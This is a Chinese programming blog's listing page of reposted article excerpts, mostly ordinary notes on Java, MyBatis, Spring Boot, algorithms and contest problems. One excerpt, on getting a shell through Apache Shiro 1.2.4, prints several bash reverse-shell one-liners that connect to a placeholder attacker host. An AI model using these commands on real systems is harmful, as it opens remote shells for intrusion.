自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(4507)
  • 收藏
  • 关注

转载 在idea中相同的字符串使用equals()进行比较时,返回值是flase问题

最近在idea中遇到了一个编码的问题,我的程序是从前台传过来一个字符串,判断用户的角色(学生,教师,管理员),在进行equals()判断时,返回的确是false,然后就在网上查了查,发现是编码的问题,在这里分享给小伙伴们这是问题,下面是解决方法:打开设置,找到Editor下的File Encoding ,将编码设置成UTF-8就可以了转载于:ht...

2019-09-02 11:40:00 469

转载 typescript

图片较大,可以右键在新窗口打开,然后可以查看原图。转载于:https://www.cnblogs.com/keithtt/p/11444475.html

2019-09-02 02:34:00 39

转载 Algs4-2.4.26无需交换的堆

2.4.26无需交换的堆。因为sink()和swim()中都用到了初级函数exch(),所以所有元素都被加载并存储了一次。回避这种低效方式,用插入排序给出新的实现(请见练习2.1.25)。答:以小堆swim为例,如下图所示:1)元素1与4对比,再与4互换位置;2)元素1与3对比,再与3互换位置;3)元素1与2对比,再与2互换位置;每一次exch互换位置需要三次赋值操作。如果改用插入排序使...

2019-08-31 19:38:00 118

转载 Algs4-2.4.25 计算数论

2.4.25 计算数论。编写程序CubeSum.java,在不使用额外空间的条件下,按大小顺序打印所有a^3+b^3的结果,其中a和b为0至N之间的整数。也就是说,不要全部计算N^2个和然后排序,而是创建一个最小优先队列,初始状态为(0^3,0,0),(1^3,1,0),(2^3,2,0),...,(N^3,N,0)。这样只要优先队列非空,删除并打印最小的元素(i^3+j^3,i,j)...

2019-08-31 18:14:00 101

转载 EIP Core2.0开源

EIP Core2 权限管理系统 (交流群:495070603,作者:1039318332)开源地址:https://gitee.com/sunzewei/eipcore2https://github.com/woshisunzewei/eipcore2数据库代码都在里面。下之前先请star一下哦亲!一、源码介绍(注意此版本基于2.0开发)1、开发工具:Vs2017...

2019-08-28 14:46:00 140

转载 学习Spring Boot:(十二)Mybatis 中自定义枚举转换器

https://blog.wuwii.com/springboot-12.html前言在 Spring Boot 中使用 Mybatis 中遇到了字段为枚举类型,数据库存储的是枚举的值,发现它不能自动装载。解决内置枚举转换器MyBatis内置了两个枚举转换器分别是:org.apache.ibatis.type.EnumTypeHandler和org.apac...

2019-08-28 13:23:00 224

转载 Lexical Sign Sequence

icpc的老题了,最近学校oj调出来拿来在训练赛做了,比赛的时候跟队友讨论了两种做法,一种是for循环加树状数组(分析了分析时间复杂度感觉虽然会t,但是应该不存在那种故意卡的数据,就直接交了,没想到一下就过了,于是第二种做法就没有实践),然而没想到比赛刚一结束学长反手就交了这样的一组hack数据卡掉了,QWQ。//#pragma GCC optimize(4)#include...

2019-08-26 21:38:00 87

转载 (UPCOJ暑期训练)Tally Counters

问题 D: Tally Counters时间限制:3 Sec内存限制:128 MB提交:126解决:19[提交] [状态] [命题人:admin]题目描述A number of tally counters are placed in a row. Pushing the button on a counter will increment the dis...

2019-08-23 10:19:00 354

转载 (2019hdu多校第十场) Welcome Party

Welcome Party时间限制:4 Sec内存限制:128 MB题目描述The annual welcome party of the Department of Computer Science and Technology is coming soon! Many students have been applying to show up at the ...

2019-08-22 19:50:00 83

转载 (2019hdu多校第十场1003) Valentine's Day

Valentine's Day时间限制:1 Sec内存限制:1024 MBSpecial Judge题目描述Oipotato loves his girlfriend very much. Since Valentine's Day is coming, he decides to buy some presents for her.There are ...

2019-08-22 19:42:00 163

转载 Android Studio doesn't list my android phone

When USB debugger is openning,Android Studio doesn't list my phone, I cannot debug my app on my real phone.Install the Android ADB USB Driver:http://visualgdb.com/tutorials/android/usbdebug/m...

2019-08-21 20:10:12 60

转载 【转】Windows10开启OpenSSH Server

Windows 支持 OpenSSH 了! - sparkdev - 博客园https://www.cnblogs.com/sparkdev/p/10166061.html转载于:https://www.cnblogs.com/tyxx/p/11389354.html

2019-08-21 16:10:00 596

转载 java 文件上传

java 上传文件如果不依赖框架的话要利用 Apache 中几个jar文件来处理1、 给表单设置enctype属性,其值为 "multipart/form-data",另外,提交方式必须是post。2、 在服务器端,不能够直接使用request.getParameter方法来获得数据。只能使用InputStream request.getInput...

2019-08-21 14:46:39 61

转载 一位前辈的工作经验

http://www.cnblogs.com/jianyungsun/archive/2010/12/07/1899533.html在公司里的几个月,做的项目其实不多,但是收获还是有一些,我觉得收获最大的是设计理念的改变,这也是我这段时间最想总结的,我会在后面逐渐阐述。 如对此文有疑问或想给作者提建议请给作者发email:wangdian@tom...

2019-08-21 05:35:33 137

转载 Mybatis入门配置及第一个Mybatis程序

目的:使用mybatis来进行对数据库表的操作第一步:引入jar包我这里是创建的maven工程第二步:创建数据表user第三步:创建实体类实体类放在包 com.xxx.pojo 下,包名可自行修改。实体类中属性名可以和数据库中字段名一致,也可以不一致,推荐一致public class User { private int id; ...

2019-08-20 15:54:00 228

转载 spring-boot入门

spring-boot入门spring-boot简介开发团队:Pivotal团队主要目的:简化新Spring应用的初始搭建以及开发过程。秉持理念:约定优于配置。(该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置)SpringBoot的特点​ 1、快速创建独立的Spring应用程序。    Spring Boot 并不是对 Spring 功能上的增强,...

2019-08-20 10:10:00 54

转载 jpa双向多对多关联映射

www转载于:https://www.cnblogs.com/JAYIT/p/6941663.html

2019-08-20 08:24:31 52

转载 线段树区间修改及查询区间和

void update(int p){ if(t[p].add) { t[p*2].sum+=(t[p*2].r-t[p*2].l+1)*t[p].add; t[p*2+1].sum+=(t[p*2+1].r-t[p*2+1].l+1)*t[p].add; t[p*2].add+=t[p].add; ...

2019-08-19 21:13:00 71

转载 linux(deepin)下Clion的安装及环境配置

最近心血来潮安装了linux系统后,本来打算使用Codeblocks (平时打ACM用的比较多),但是编译的时候一直报”It seems that this project has not been built yet.Do you want to build it now?"就很难受,百度找了很多博客也不管用,于是果断弃坑改用Clion,好在之前的Windows就在使用Clion对...

2019-08-18 23:57:00 916

转载 hibernate入门配置及第一个hibernate程序

学习了hibernate后就想先给大家分享一下它的配置方法:jar包导入一、数据库表的创建二、开启hibernate配置编译器:eclipse 数据库:mysql1.创建第一个xml文件在类路径下(src),hibernate默认是读取类路径下的文件的,创建xml文件:hibernate.cfg.xml。注:名称必须是这个,不能随意更改&l...

2019-08-16 15:45:00 103

转载 Java中各种对象(PO,BO,VO,DTO,POJO,DAO,Entity,JavaBean,JavaBeans)的区分

PO:持久对象 (persistent object),po(persistent object)就是在Object/Relation Mapping框架中的Entity,po的每个属性基本上都对应数据库表里面的某个字段。完全是一个符合Java Bean规范的纯Java对象,没有增加别的属性和方法。持久对象是由insert数据库创建,由数据库delete删除的。基本上持久对象生命周期和数...

2019-08-16 14:14:00 71

转载 Razor 保存动态表格

本文转载自ASP.NET MVC数组模型绑定,https://www.cnblogs.com/choon/p/5429065.html内容根据评论内容中的方式有所调整在ASP.NET MVC中使用Razor语法可以在视图中方便地展示数组,如果要进行数组模型绑定,会遇到索引断裂问题,如下示例:<input type="text" name="[0].Name...

2019-08-15 17:01:00 199

转载 Shiver

Shiver  by coldplaySo I look in your directionBut you pay me no attention, do you?I know you don't listen to me'Cos you say you see straight through me, don't you?And on and onFrom...

2019-08-15 13:00:00 95

转载 [转]adduser - 新增使用者指令(ubuntu)

adduser - 新增使用者指令 在Slackware中,adduser 指令是個 script 程式,利用交談的方式取得輸入的用戶帳號資料,然後再交由真正建立帳號的 useradd 指令建立新用戶,如此可方便管理員建立用戶帳號。在 Red Hat Linux中,adduser 指令則是 useradd 指令的符號連接,兩者實際上是同一個指令。adduser ...

2019-08-14 15:34:34 115

转载 福大校赛B题

#include<stdio.h>#include<string.h>int main( ){ char ch[200]; char sh[101][101]; while(scanf("%s",ch)!=EOF) { int i,j,len,k,p,flag=1,flag2=0; len=strlen(ch); i=0,k=0...

2019-08-14 06:51:40 77

转载 Floyd算法

Floyd算法特点:1.时间复杂度高2.编写简单3.可以处理负权边4.可以用来计算传递闭包View Code #include <stdio.h>#include <string.h>#include <stdlib.h> int N, M, mp[110][110];const int oo = 0x7f7f7f7f...

2019-08-14 06:47:50 45

转载 jQuery把所有被选中的checkbox的某个属性值连接成字符串

有这样的一个需求:对于一组checkbox,当点击每个checkbox后,把当前处于选中状态的checkbox的某个属性值取出来连接成字符串,并以逗号分开。 html部分: <input type="checkbox" id="1"/> <label for="1">选项一</label> <br/> &l...

2019-08-13 22:19:14 88

转载 C#把数组中的某个元素取出来放到第一个位置

如何取出数组中符合某种条件的元素,然后放在数组最前面,即索引为0的位置? 思路大致如下:→找到符合条件的数组元素,把之赋值给一个临时变量temp,并记下该数组元素的索引位置,假设是index→在源数组中,从索引为0的数组元素开始,拷贝index个数组元素到另外一个目标数组→把临时变量temp赋值给目标数组索引为0的位置 public static class ArrHelper ...

2019-08-13 22:19:03 869

转载 linux基础命令学习(三)Vim使用

1. # vim 1.txt 命令模式: a i o A I O x X yy dd p G dw de h j k l f H M B a --- append 追加 在光标所在位置后追加一个字符 i --- insert 插入 在光标所在位置前插入一个字符 o --- open line 开一个空行 在光标所在行的下方添加一个空行 x --- d...

2019-08-13 21:13:16 78

转载 RecyclerView 网格布局

上面我们介绍的就是?RecyclerView 线性布局的使用,效果还是不错的,一般可以用于浏览个人信息列表操作。接着,我们来看第二种布局形式:网格布局。? ? 网格布局也是非常常用的,一般用于图片相册的浏览,接下来的工作就是复制粘贴一下原先的代码就可以了,因为适配器里面的代码几乎一个样,我们可以考虑把它封装起来用,不过现在还是怎么方便怎么来。? ? 对于线性布局来说,网格布局是需要做一定量...

2019-08-13 17:01:00 468

转载 js----笔记

1.注意: oTxt.innerHTML='<h2>那年印象</h2><p>'+this.index+'月'+aInnerText[this.index]+'<p>' ;如果想让this.index+1则写成oTxt.innerHTML='<h2>那年印象</h2><p>'+(this.ind...

2019-08-13 10:13:00 65

转载 2019牛客暑期多校训练营(第八场)E.Explorer

链接:https://ac.nowcoder.com/acm/contest/888/E来源:牛客网Gromah and LZR have entered the fifth level. Unlike the first four levels, they should do some moves in this level. There are nn_{}n​ ver...

2019-08-13 09:50:00 75

转载 【实战】Apache shiro<=1.2.4 getshell

方法一利用JRMPClient反弹shell方式Bash:bash -i >& /dev/tcp/attackIP/7777 0>&1/bin/bash -i > /dev/tcp/attackIP/7777 0<&1 2>&10<&196;exec 196<>/dev/tcp...

2019-08-12 22:15:00 240

转载 学习ASP.NET比较完整的流程

如果你已经有较多的面向对象开发经验,跳过以下这两步:   第一步 掌握一门.NET面向对象语言,C#或VB.NET 我强烈反对在没系统学过一门面向对象(OO)语言的前提下去学ASP.NET。 ASP.NET是一个全面向对象的技术,不懂OO,那绝对学不下去!   第二步 对.NET Framework类库有一定的了解 可以通过开发Windows Form应用程序来学习.NET Framework。A...

2019-08-12 18:59:04 50

转载 VB2010新特性之——标识语言版本的新命令行选项/langversion (Visual Basic)

VB2010新特性之——标识语言版本的新命令行选项/langversion (Visual Basic)命令行选项/langversion设置编译器,使它只接受指定VB版本的语法。/langversion:version参数 version:必须。指定编译期间使用的语言版本,值只能是:9, 9.0, 10, 或10.0。备注:选项/langversion指定编译器接受的语法,如果您...

2019-08-12 13:17:48 349

转载 简洁实用Socket框架DotNettySocket

目录简介产生背景使用方式TcpSocketWebSocketUdpSocket结尾简介DotNettySocket是一个.NET跨平台Socket框架(支持.NET4.5+及.NET Standard2.0+),同时支持TcpSocket、WebSocket和UdpSocket,其基于微软强大的DotNetty框架,力求为Socket通讯提供简单、高效、优雅的操...

2019-08-12 08:28:00 535

转载 SVN迁移GIT

参考:https://www.git-tower.com/learn/git/ebook/cn/command-line/advanced-topics/git-flow转载于:https://www.cnblogs.com/keithtt/p/11337580.html

2019-08-12 03:53:00 54

转载 【M11】禁止异常流出析构方法之外

1、在两种情况下,调用析构方法:a、在正常状态下被销毁,栈上的对象离开作用域或者堆上的对象执行delete;b、抛出异常,堆栈回滚,栈上已经构造好的对象,也就是抛出异常之前的代码,自动调用析构方法。注意:只会对已经构造好的栈上对象调用析构方法,而不会对已经初始化好的指针执行delete,因此,使用智能指针可以避免这种情况的资源泄漏。2、考虑下面的情况,析构方法中抛出异常,在外部捕获异...

2019-08-11 21:44:49 56

转载 Lambda 表达式

先看代码:View Code 1 class Program 2 { 3 static void Main() 4 { 5 Func<int, bool> func1 = new Func<int, bool>(isPositive); 6 7 Func<...

2019-08-11 21:41:43 61

转载 大话设计模式笔记(十六)の组合模式

组合模式定义将对象组合成树形结构以表示“部分-整体”的层次结构。组合模式使得用户对单个对象和组合对象的使用具有一致性。UML图模板代码Component/** * 组合对象 * Created by callmeDevil on 2019/8/11. */public abstract class Component { protected String...

2019-08-11 17:09:00 104

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除